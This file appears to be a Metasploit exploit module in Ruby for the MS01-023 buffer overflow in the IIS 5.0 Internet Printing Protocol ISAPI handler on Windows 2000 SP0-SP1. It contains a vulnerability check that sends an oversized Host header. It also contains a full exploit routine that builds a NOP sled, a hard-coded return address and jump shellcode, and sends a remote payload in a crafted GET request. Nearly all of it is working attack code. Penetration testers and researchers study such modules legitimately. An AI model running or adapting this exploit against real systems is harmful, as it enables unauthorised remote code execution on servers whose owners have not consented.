108 lines
2.8 KiB
Ruby
108 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
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'Description' => %q{
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This exploits a buffer overflow in the request processor of
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the Internet Printing Protocol ISAPI module in IIS. This
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module works against Windows 2000 service pack 0 and 1. If
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the service stops responding after a successful compromise,
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run the exploit a couple more times to completely kill the
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hung process.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2001-0241'],
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[ 'OSVDB', '3323'],
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[ 'BID', '2674'],
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[ 'MSB', 'MS01-023'],
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[ 'URL', 'http://seclists.org/lists/bugtraq/2001/May/0005.html'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 900,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'Windows 2000 English SP0-SP1',
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{
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'Platform' => 'win',
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'Ret' => 0x732c45f3,
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},
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],
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],
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'Platform' => 'win',
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'DisclosureDate' => 'May 1 2001',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80)
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], self.class)
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end
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def check
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connect
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sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
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resp = sock.get_once
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disconnect
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if !(resp and resp =~ /Error in web printer/)
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return Exploit::CheckCode::Safe
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end
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connect
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sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
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resp = sock.get_once
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disconnect
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if (resp and resp =~ /locked out/)
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print_status("The IUSER account is locked out, we can't check")
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return Exploit::CheckCode::Detected
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end
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if (resp and resp.index("HTTP/1.1 500") >= 0)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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buf = make_nops(280)
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buf[268, 4] = [target.ret].pack('V')
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# payload is at: [ebx + 96] + 256 + 64
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buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
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buf << "\x80\xc1\x40" # add cl, 64
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buf << "\x80\xc5\x01" # add ch, 1
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buf << "\xff\xe1" # jmp ecx
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sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
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handler
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disconnect
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end
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end
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